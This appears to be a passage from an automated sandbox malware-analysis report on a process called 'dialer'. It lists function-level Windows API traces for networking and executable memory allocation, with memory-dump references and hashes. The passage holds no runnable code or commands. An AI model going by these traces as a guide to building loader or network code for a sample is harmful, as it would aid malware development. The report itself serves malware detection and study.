Part of subcall function 053C9B02: WSAGetLastError.WS2_32(?,?,053C9AC7,17E80870,053CAD04,00000000,00000010,00000000,?,?,?,053C9A53,053CAD04,00000002,053CAD04,00000010), ref: 053C9B28

SetHandleInformation.KERNEL32(00000000,00000001,00000000,?,?,?,053C9A53,053CAD04,00000002,053CAD04,00000010,053CAD04,053CAD81), ref: 053C9A94
GetLastError.KERNEL32(?,?,?,053C9A53,053CAD04,00000002,053CAD04,00000010,053CAD04,053CAD81), ref: 053C9A9E
closesocket.WS2_32(00000000), ref: 053C9AB0
bind.WS2_32(50A5A5A5,053CAD04,00000002), ref: 053C9AD7
WSAGetLastError.WS2_32(?,?,?,053C9A53,053CAD04,00000002,053CAD04,00000010,053CAD04,053CAD81), ref: 053C9AE2

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLast$HandleInformationbindclosesocketioctlsocketsocket
String ID:
API String ID: 2417539845-0
Opcode ID: ccc978a44cd0326c8c98ec4cd4999d824773dc29f06fcbd3f109df09005c0f5e
Instruction ID: 34f711a45de49939040b2f341dfd9c366c219a3179cdd1a66b2e172c2d0e6af5
Opcode Fuzzy Hash: ccc978a44cd0326c8c98ec4cd4999d824773dc29f06fcbd3f109df09005c0f5e
Instruction Fuzzy Hash: A111B236114600ABDB325F74DC0DF6A7FAABF45730F11465CF622891E0DB71AC509B20

Function 02CA02D4 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167memoryfileCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 02CA031C

Part of subcall function 02CA00A0: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 02CA00C9
Part of subcall function 02CA00A0: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 02CA0275

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 02CA036E
VirtualProtect.KERNELBASE(0000002C,?,00000040,?), ref: 02CA03DD
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 02CA03FD
MapViewOfFile.KERNELBASE(?,00000004,00000000,00000000,00000000), ref: 02CA0424
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02CA044C
CloseHandle.KERNELBASE(?), ref: 02CA0467

Strings

,, xrefs: 02CA034C

Memory Dump Source

Source File: 0000000A.00000003.1761987159.0000000002CA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_2ca0000_dialer.jbxd

Similarity

API ID: Virtual$Alloc$Free$CloseFileHandleProtectView
String ID: ,
API String ID: 3867569247-3772416878
Opcode ID: 82e5e3048abb205ecfbadfcc4accb215ed5bf30bd6965aeddf34148881449b51
Instruction ID: 63325b685b726b9036fbd2aa3999c4769f3411fb0a3e40ccac00fb0964ad8d6f
Opcode Fuzzy Hash: 82e5e3048abb205ecfbadfcc4accb215ed5bf30bd6965aeddf34148881449b51
Instruction Fuzzy Hash: 7251EEB5900609EFCB10DFA5C894BDEBBB9FF48398F108529F959A7240D770AA44CF60

Function 053C8AAD Relevance: 13.6, APIs: 9, Instructions: 99
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008003), ref: 053C8AB2
WSAStartup.WS2_32(00000202,?), ref: 053CAEA0

Part of subcall function 053CAC49: memset.MSVCRT ref: 053CAC59
Part of subcall function 053CAC49: htons.WS2_32(00000002), ref: 053CAC6A
Part of subcall function 053CAC49: inet_addr.WS2_32(?), ref: 053CAC77

Part of subcall function 053CAC90: memset.MSVCRT ref: 053CACA0
Part of subcall function 053CAC90: htons.WS2_32(?), ref: 053CACB1

socket.WS2_32(00000002,00000001,00000000), ref: 053CAEED
getsockopt.WS2_32(00000000,0000FFFF,00002005,?,?), ref: 053CAF1E
closesocket.WS2_32(00000000), ref: 053CAF31
WSAGetLastError.WS2_32 ref: 053CAF39
socket.WS2_32(00000017,00000001,00000000), ref: 053CAF4E
closesocket.WS2_32(00000000), ref: 053CAF83
WSAGetLastError.WS2_32 ref: 053CAF8B

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: Error$Lastclosesockethtonsmemsetsocket$ModeStartupgetsockoptinet_addr
String ID:
API String ID: 2777411211-0
Opcode ID: cbc47303c0605d0d6a6715a5445afa7e4901c412492404f1d45f525003499cb1
Instruction ID: 36955af3948e86117088412caefd041f4248eb92e03ff6c240e085e1cd14fd51
Opcode Fuzzy Hash: cbc47303c0605d0d6a6715a5445afa7e4901c412492404f1d45f525003499cb1
Instruction Fuzzy Hash: 3531B6B2104308ABD221AAA4DC8EFAF7FEDEB45720F40055EF6159E1C0DBB59D048771

Function 053CA387 Relevance: 10.7, APIs: 7, Instructions: 157
networkregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 053CA3AE
memset.MSVCRT ref: 053CA3BA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,053C427C,00000000,00000000,053C4237,00000000), ref: 053CA3CC
WSASend.WS2_32(?,053C427C,?,00000000,00000000,00000010,00000000), ref: 053CA3F1
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 053CA44A
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 053CA457
RegisterWaitForSingleObject.KERNEL32(00000048,?,053CA51C,00000000,000000FF,0000000C), ref: 053CA4E3

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLastmemset$CreateEventObjectRegisterSendSingleWait
String ID:
API String ID: 2712206520-0
Opcode ID: c2ce5f1b2eb79f2d705be60092d6c82a8da1265e7f59462a02ae71a32e957419
Instruction ID: 909bbeef18a678ebeeac3c63f0dc165377064bf9ebfa0ee8e882efc3282ae229
Opcode Fuzzy Hash: c2ce5f1b2eb79f2d705be60092d6c82a8da1265e7f59462a02ae71a32e957419
Instruction Fuzzy Hash: 2F5161B1500A0AAFD725CF24D884A66BFF8FF04318B1486ADE556CBA90D770FD55CB90

Function 053C9B02 Relevance: 7.6, APIs: 5, Instructions: 94
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ioctlsocket.WS2_32(053CAD04,8004667E,053CAD81), ref: 053C9B1D
WSAGetLastError.WS2_32(?,?,053C9AC7,17E80870,053CAD04,00000000,00000010,00000000,?,?,?,053C9A53,053CAD04,00000002,053CAD04,00000010), ref: 053C9B28
CreateIoCompletionPort.KERNELBASE(053CAD04,19751710,053CAD04,00000000,?,?,053C9AC7,17E80870,053CAD04,00000000,00000010,00000000,?,?,?,053C9A53), ref: 053C9B48
SetFileCompletionNotificationModes.KERNEL32(053CAD04,00000003,?,?,053C9AC7,17E80870,053CAD04,00000000,00000010,00000000,?,?,?,053C9A53,053CAD04), ref: 053C9B8A

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: Completion$CreateErrorFileLastModesNotificationPortioctlsocket
String ID:
API String ID: 3397353003-0
Opcode ID: 701afc64ad88f211157609c352ffd7358be5cf3ab9c978f5bf613ede4803a136
Instruction ID: 83494024980e5505231a4ee9a6e8aca60876a22e9acecf62ab2b61914eb3c8bc
Opcode Fuzzy Hash: 701afc64ad88f211157609c352ffd7358be5cf3ab9c978f5bf613ede4803a136
Instruction Fuzzy Hash: 48319132104605FADB259E65DC89B6A7FAEFF40394F16419CF9029A1C1EBB0FE44C760

Function 053CA0C0 Relevance: 4.6, APIs: 3, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e204d0350d3838c0d58df5621c46f9a26c748daecd2407ec9021cbbcd190d7b
Instruction ID: b33db6930d620194d224bf833cfcfee15b9f464b3b5c250dc523940774705594
Opcode Fuzzy Hash: 1e204d0350d3838c0d58df5621c46f9a26c748daecd2407ec9021cbbcd190d7b
Instruction Fuzzy Hash: B4419FB15006099FDB15CF25C884BA2BBB9FF05364F4481ADED1A8F296DB71E941CBA0

Function 053CAA5B Relevance: 4.6, APIs: 3, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

shutdown.WS2_32(D7FF5605,00000001), ref: 053CAA7E
closesocket.WS2_32(?), ref: 053CAAD4
closesocket.WS2_32(D7FF5605), ref: 053CAB4D

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: closesocket$shutdown
String ID:
API String ID: 3079814495-0
Opcode ID: 85a9a1f9910051654db4f110c37b051823268d924ccb5e54f76233362fbb9508
Instruction ID: 5c01b06fe9c83e7fc02fa1e16cb6e5e18c6e4bbebab23d2993e7fe65645e1c4f
Opcode Fuzzy Hash: 85a9a1f9910051654db4f110c37b051823268d924ccb5e54f76233362fbb9508
Instruction Fuzzy Hash: 30416B74514B098FEB358E25C548B62BFF6FF05365F044A5DE8938AA90D7B0EC46CB40

Function 053CA983 Relevance: 3.1, APIs: 2, Instructions: 86
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setsockopt.WS2_32(?,0000FFFF,00007010,00000000,00000000), ref: 053CA9D7
WSAGetLastError.WS2_32(?,053C8D2F,00000000,00000000,?,00000000,00000000,00000000,053C8BB0,00000000,?,00000000,053C2CE1,?,00000000,?), ref: 053CA9FF

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLastsetsockopt
String ID:
API String ID: 1729277954-0
Opcode ID: e334875779404d21b8ef707236a5d5c52ab1e9c144bb91c1db6d3511edc388d9
Instruction ID: a626c0e5c9db665f613d297c056282b08d67dedce4600f0804d41c4f266f6f4c
Opcode Fuzzy Hash: e334875779404d21b8ef707236a5d5c52ab1e9c144bb91c1db6d3511edc388d9
Instruction Fuzzy Hash: 80314A74204609AFDB209F25C985A66BBB8FF09364B04865DFD5A9BB91C730FC118BA4

Function 02CA00A0 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 02CA00C9
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 02CA0275

Memory Dump Source

Source File: 0000000A.00000003.1761987159.0000000002CA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_2ca0000_dialer.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: 0fb280b31d403f9723afbaa0aa3b0a804904dac779744841e765796feb3f49a6
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: 54718871E0424A9FDB41CF98C991BEDBBF0EB09358F284195E565FB241C334AA91CF64

Function 053CF03C Relevance: 2.6, APIs: 2, Instructions: 82
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT(74C08559,74C08559,0000414D,00000000,?,00000000,053C4237,053C4300,053C4237,00000000,053C429A,?,00000000,053C4237,00000000,053C4361), ref: 053CF086
strlen.MSVCRT ref: 053CF0EC

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: freestrlen
String ID:
API String ID: 322734593-0
Opcode ID: be0c143f5b5f88fe6089367818da339655f9c98cf4b890c4bf222fc860ebc3b3
Instruction ID: f1ff8bea20cd113b7b5e2d32df989c8a6aec1bd288835c13d5b1575ae9e56d9d
Opcode Fuzzy Hash: be0c143f5b5f88fe6089367818da339655f9c98cf4b890c4bf222fc860ebc3b3
Instruction Fuzzy Hash: 06216F32308714ABDB717B39ED45E4BBBEAFF40B10B45486DF086A2560DA22FC109B20

Function 053C46ED Relevance: 2.5, APIs: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 053C46F4
memset.MSVCRT ref: 053C470A

Part of subcall function 053CE798: memset.MSVCRT ref: 053CE7A3

Part of subcall function 053CE7AC: calloc.MSVCRT(00000001,0000414D), ref: 053CE7CF

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: memset$callocmalloc
String ID:
API String ID: 4186080596-0
Opcode ID: feb0ba898aec5dc9806905e708b914c3ca356040276c6869a5524fbc4aea1a7e
Instruction ID: eab29633fd23e2e44aa31badd2f76fe039812920f8b7b8261738bd1bbc9e10b8
Opcode Fuzzy Hash: feb0ba898aec5dc9806905e708b914c3ca356040276c6869a5524fbc4aea1a7e
Instruction Fuzzy Hash: 8FF04F75740710ABD621AB64CD0EF4B7FE8EF85B10F05885CF559AB640C634AD00D750

Function 053C9EF3 Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,053C21B5,?,053C9762,?,053C21B5,053C21B5,053C4579,?,053C45AE,053C45FA,053C454F,?), ref: 053C9F4D

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: CreateEvent
String ID:
API String ID: 2692171526-0
Opcode ID: 722b9dbe80ebcc21dc3bc3f3b6a31c3f9ce33f2f0c65448f105364798927de73
Instruction ID: c09851a8fdc39e0f0a1f61c69d01e7cf9a89efea408f6f16b3732fb290f9e698
Opcode Fuzzy Hash: 722b9dbe80ebcc21dc3bc3f3b6a31c3f9ce33f2f0c65448f105364798927de73
Instruction Fuzzy Hash: 6C010C769087019FE734CE26D444B67BBF9FB88721F05895DE88A86A40E7B4F845CB60

Function 053CE7AC Relevance: 1.3, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.MSVCRT(00000001,0000414D), ref: 053CE7CF

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: calloc
String ID:
API String ID: 2635317215-0
Opcode ID: 8d8ffda9bb09da733926f1009e79d4af12582328e7ce8ca654cc6d03d98ae797
Instruction ID: 1d76f19b2b2f6e8cbef388c254ba1c4bd409a21634100d2299a2976cd63d65eb
Opcode Fuzzy Hash: 8d8ffda9bb09da733926f1009e79d4af12582328e7ce8ca654cc6d03d98ae797
Instruction Fuzzy Hash: 0721DB71504704DED721CF2AE881A86FBE8FF94754F20481FE199C76A1DBB0A4409F64

Function 053C1BD9 Relevance: 1.3, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 053C1BDE

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 11bfe7882586c3a10dcfbf7b4f59ad7390e580bf31e41bacd7c2e386165aabcb
Instruction ID: 546020a198f87edbbdcd7e58a26015755b428c57b8128d42105c178edf89b6b1
Opcode Fuzzy Hash: 11bfe7882586c3a10dcfbf7b4f59ad7390e580bf31e41bacd7c2e386165aabcb
Instruction Fuzzy Hash: 12F0FEB56042099FCF098F54E854DA97FA5FF48354B0580ADFD094B361D731D820DB50

Non-executed Functions

Function 02CA027F Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.1761987159.0000000002CA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_2ca0000_dialer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction ID: c49e79bfe1c8360b3732ce1deda0d0229e27b712915685f78aab3049b0aeab15
Opcode Fuzzy Hash: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction Fuzzy Hash: 78F0C275A01301CFCB24CF0AC594EA577F5EBC0798B254295E404DB260D3B0DE84C750

Function 053C4AB5 Relevance: 31.6, APIs: 25, Instructions: 300COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,053EDEBC,00000001,00000000,?,053C328A,?,?), ref: 053C4AE4
memcmp.MSVCRT(?,053EDEB8,00000002), ref: 053C4B13
memcmp.MSVCRT(?,053EDEB4,00000003), ref: 053C4B53
memcmp.MSVCRT(?,053EDEA0,00000004), ref: 053C4BE8
memcmp.MSVCRT(?,053EDE98,00000005), ref: 053C4C2C
memcmp.MSVCRT(?,053EDE70,00000006), ref: 053C4CEA
memcmp.MSVCRT(?,053EDE58,00000007), ref: 053C4D66
memcmp.MSVCRT(?,053EDE3C,00000008), ref: 053C4DE4
memcmp.MSVCRT(?,053EDE18,00000009), ref: 053C4E60

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 643208356b6fddabf7d220adeaa1dcc424972ee7e980cf238e5dccd3b800bc60
Instruction ID: 0b8edb30f0f19afaedfa747c7aeb393f4fce4a8d8355d190a6cff1f755478326
Opcode Fuzzy Hash: 643208356b6fddabf7d220adeaa1dcc424972ee7e980cf238e5dccd3b800bc60
Instruction Fuzzy Hash: 0881D1B674C32076D92151696C5BF362ECE5B21A07F4448DCFC09AE5D2F7A1ED208783

Function 053C9CA2 Relevance: 16.7, APIs: 11, Instructions: 168networkregistryCOMMON

Download Yara Rule

APIs

socket.WS2_32(0000138A,00000001,00000000), ref: 053C9CCC
SetHandleInformation.KERNEL32(00000000,00000001,00000000,?,?,?,053CA95A,?,00000000,?,00000000,00000000,?,00000000), ref: 053C9D09
closesocket.WS2_32(00000000), ref: 053C9D44
memset.MSVCRT ref: 053C9D5A
GetLastError.KERNEL32(?,?,?,00000000,00000000,?), ref: 053C9DBB
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,?), ref: 053C9DC8
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,?), ref: 053C9DD2
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,?), ref: 053C9DDA
closesocket.WS2_32(?), ref: 053C9DFE
CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,?), ref: 053C9E0C
RegisterWaitForSingleObject.KERNEL32(00000154,?,053C9EAD,00000000,000000FF,00000004), ref: 053C9E49

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLast$Handleclosesocket$CloseInformationObjectRegisterSingleWaitmemsetsocket
String ID:
API String ID: 1241441197-0
Opcode ID: c9994902a9705f439b66e34654958bf91bb7b950c502c54cead80e64eddf988f
Instruction ID: 17171446a219964c03e4f44537ea4b1145cabffa62884759a4ee26cf2e58ecdc
Opcode Fuzzy Hash: c9994902a9705f439b66e34654958bf91bb7b950c502c54cead80e64eddf988f
Instruction Fuzzy Hash: 80519833210A06EFD7219FB4CC49BAA7FB8FB45311F1142ADE4168A580DB74FD118B94

Function 053C2E70 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 263stringCOMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(00000059,00000000,00000020), ref: 053C2EEA
GetUserDefaultLangID.KERNEL32(0000005A,00000000,00000020), ref: 053C2F12
_snwprintf.MSVCRT ref: 053C2FB0
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 053C2FCA
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000080,00000000,00000000), ref: 053C2FF8
strlen.MSVCRT ref: 053C3143

Strings

z, xrefs: 053C3026

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: ByteCharDefaultLangMultiUserWide$_snwprintfstrlen
String ID: z
API String ID: 2883371422-1657960367
Opcode ID: 42027c6721f7d8482bcce898ee1ad2bf6e709370f06a0f19499edfade6a7f546
Instruction ID: c54cf02b9aba2835d291df154004a0bd069e01a510fa22956c112bcb518491af
Opcode Fuzzy Hash: 42027c6721f7d8482bcce898ee1ad2bf6e709370f06a0f19499edfade6a7f546
Instruction Fuzzy Hash: D5A120B5A40209AFDB20DFA4DC8AA9E7FFCFB44304F14889DF509AF380DA7499459B51

Function 053C984B Relevance: 12.2, APIs: 8, Instructions: 170networkCOMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000001), ref: 053C98C7
WSAGetLastError.WS2_32(?,00000000,?,053C8C46,00000000,00000000,00000000,00000000,00000000,00000000,00000000,053C8BB6,00000000,00000000,?,00000000), ref: 053C98D8
closesocket.WS2_32(?), ref: 053C994E
UnregisterWait.KERNEL32(89595908), ref: 053C9993
CloseHandle.KERNEL32(458BF845,00000000,00000000,?,00000000,?,053C8C46,00000000,00000000,00000000,00000000,00000000,00000000,00000000,053C8BB6,00000000), ref: 053C99AD
free.MSVCRT ref: 053C99D3
UnregisterWait.KERNEL32(?), ref: 053C99F4
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,?,053C8C46,00000000,00000000,00000000,00000000,00000000,00000000,00000000,053C8BB6,00000000), ref: 053C9A06

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: CloseHandleUnregisterWait$ErrorLastclosesocketfreeshutdown
String ID:
API String ID: 3261266694-0
Opcode ID: a5917f512bf804040b5313da9206d49682b423094936fcd39345492120542fc9
Instruction ID: 83ea83dcabecd7f855e187a3be31b701bc5180bd60e6b039ebf3ca61ec12208d
Opcode Fuzzy Hash: a5917f512bf804040b5313da9206d49682b423094936fcd39345492120542fc9
Instruction Fuzzy Hash: 5C512872604B018FDB35CF69C488B66BBE5FF08324F164A6DE8968B6A0D770F845CB50

Function 053C2B8F Relevance: 12.1, APIs: 8, Instructions: 140stringCOMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 053C2B9F
memset.MSVCRT ref: 053C2BCB
time.MSVCRT(00000000,?,00000000,00000014), ref: 053C2BF4
srand.MSVCRT ref: 053C2BFB
calloc.MSVCRT ref: 053C2C05
strlen.MSVCRT ref: 053C2C43
free.MSVCRT ref: 053C2CF8
free.MSVCRT ref: 053C2D1E

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: callocfree$memsetsrandstrlentime
String ID:
API String ID: 805530809-0
Opcode ID: bc8b8ce2f7f214b2b9022227065f92f1e30b810e01ef922517f7a69ba53f5c8a
Instruction ID: 47b55a590a80eaf2fab0b93676098b38175ef6990709a5e817af78a5c922b67a
Opcode Fuzzy Hash: bc8b8ce2f7f214b2b9022227065f92f1e30b810e01ef922517f7a69ba53f5c8a
Instruction Fuzzy Hash: F4512BB5900704AFDB20DFA5C889A9EBFF8FF08300F50896EF55A97640D775AD548B50

Function 053CBCF1 Relevance: 10.6, APIs: 7, Instructions: 137networkCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 053CBD08
memset.MSVCRT ref: 053CBD4D
GetLastError.KERNEL32 ref: 053CBDB6
GetLastError.KERNEL32 ref: 053CBE43
WSAGetLastError.WS2_32 ref: 053CBE50
WSAGetLastError.WS2_32 ref: 053CBE5A
WSAGetLastError.WS2_32 ref: 053CBE62

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLast$memset
String ID:
API String ID: 4054172246-0
Opcode ID: 27c46953bfe8f2693405552f6f163032c503ebd6fff32b6ba2865aff62985c8f
Instruction ID: 46837969da7690f590bebbe4aec5e160ade0b7d002a256baeb6b070d661ecb08
Opcode Fuzzy Hash: 27c46953bfe8f2693405552f6f163032c503ebd6fff32b6ba2865aff62985c8f
Instruction Fuzzy Hash: 8A516772500608AFD721DF69D84AB9ABBFCFF45700F108A69E546DB180DB74EA04CBA0

Function 053CB2A0 Relevance: 10.6, APIs: 7, Instructions: 83networksynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,053CBB80,?,000000FF,00000000,00000000), ref: 053CB2C7
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,053CBB80), ref: 053CB308
GetLastError.KERNEL32(?,?,?,053CBB80), ref: 053CB313
CloseHandle.KERNEL32(00000000,?,?,?,053CBB80), ref: 053CB31C
WSASetLastError.WS2_32(00000000,?,?,?,053CBB80), ref: 053CB323
CloseHandle.KERNEL32(00000000,?,?,?,053CBB80), ref: 053CB332
WSASetLastError.WS2_32(00000000,?,?,?,053CBB80), ref: 053CB355

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLast$CloseHandle$CreateEventObjectSingleWait
String ID:
API String ID: 1659421480-0
Opcode ID: 196948c09dc445654feeda9083d9631d19448c54ca38e952226d8cc00670c8e3
Instruction ID: 24e4d7d35d212797844845f00083696a4f76a1089105430531ef64124698acfa
Opcode Fuzzy Hash: 196948c09dc445654feeda9083d9631d19448c54ca38e952226d8cc00670c8e3
Instruction Fuzzy Hash: FE21F532500214ABD7325AB49C5EEAFBFADFB447B0F450358F926EB1C0DA709D4087A0

Function 053C4F5A Relevance: 8.8, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,053EDDC0,0000000C), ref: 053C4F94
memcmp.MSVCRT(?,053EDDB0,0000000C), ref: 053C4FB6
memcmp.MSVCRT(?,053EDDA0,0000000C), ref: 053C4FD8
memcmp.MSVCRT(?,053EDD80,0000000C), ref: 053C5018
memcmp.MSVCRT(?,053EDD70,0000000C), ref: 053C503A
memcmp.MSVCRT(?,053EDD60,0000000C), ref: 053C505C

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
